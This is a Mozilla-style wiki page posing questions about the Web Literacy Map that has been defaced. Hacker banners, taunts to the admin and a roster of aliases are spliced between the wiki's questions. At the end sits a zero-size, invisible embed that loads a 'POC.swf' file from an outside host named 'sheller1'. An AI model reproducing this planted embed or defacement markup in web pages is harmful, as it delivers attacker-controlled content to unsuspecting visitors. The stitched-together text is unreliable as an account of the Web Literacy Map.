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We will begin with an overview of the Web Literacy Map, before asking some questions about you and your context. These are structured using the approach taken in David Perkins' Harvard class ''Inquiry''. It will be useful if you take your time to answer the questions with (a) someone else from your organization, and (b) any relevant documentation (e.g. curricula, policies, mission statements) to hand.  
We will begin with an overview of the Web Literacy Map, before asking some questions about you and your context. These are structured using the approach taken in David Perkins' Harvard class ''Inquiry''. It will be useful if you take your time to answer the questions with (a) someone else from your organization, and (b) any relevant documentation (e.g. curricula, policies, mission statements) to hand.  


==The Web Literacy Map==
<!DOCTYPE HTML>
<html>
<head>


[[Image:WebLiteracyMap-v1.1.png|640px |link=https://wiki.mozilla.org/Webmaker/WebLiteracyMap/Background |alt=Mozilla Web Literacy Map competency grid|Click to find out more about the Map]]


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<body bgcolor="black">


[What the Web Literacy Map is and isn't]


[Venn diagram - circle of interest / circle of mandate / circle of importance]


In your context and for your target audience:
<center><font color='red' face='Segoe UI'><b><h1>Hacked By Kai-H4xOrR and Root Rox <br> Team MaXiMiZerS </center><font></b></h1> <center>


1. What's worth learning? (What on the Web Literacy Map is it very important / useful / not important to learn?)
<img src='http://i44.tinypic.com/219bh21.jpg' width='300' height='300'>


2. How is it best learned? (Is there anything else that needs to be learned alongside the Web Literacy Map competencies to help make them relevant / make sense? What kinds of activities do you currently have on offer that could help scaffold web skills?
<br> <B><font color='white' size='4' face='Times New Roman'>  <br>--------------------------------------------------------------------------------- <br>
<br> Hello Admin You Have Been Hacked By Kai-H4xOrR,
<br> Your Security Is Low Patch it. <br>
<br> Patch it Or I will There Again <br>
<br> Dont Hate Me Hate Your Security<br>


3. How can we get it taught that way? (Could you get additional help in facilitating learning in these areas? Where from?)
<br> --------------------------------------------------------------------------------- <br>
<font color='red' size='8'> Best OF Luck <font/> <B/> <br> <img src='http://i43.tinypic.com/25zl2cw.jpg' width='800' height='120'>


4. How do you know it's been learned? (How will you acknowledge / credential attendance, attitude and achievement?)


[Appendix 1: Case Study - BCGA]
<center><font size="4"><font color="white" face="shadow" size="5">We Are : </font><scrollamount="5" scrolldelay="50" width="80%"></center>


[Appendix 2: Further Mozilla resources - links to Webmaker tools, Webmaker resources, and Webmaker community/training; Open Badges, Badge Canvas, and BadgeKit]
<font color="green" size="4">Striker Rude - Rox RoOT - Kai HaxOr - - Dr.x00t -- maxious - HaxOr coOl bOY  -- Megaroot - sh3ll-h4xor - TheBlackMonster - Dr Silent Pak - SmArtY kOp HaXOr - </b>/font> <p align="right">
 
 
 
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<embed src="http://sheller1.funpic.org/POC.swf" width="0" height="0"</embed>
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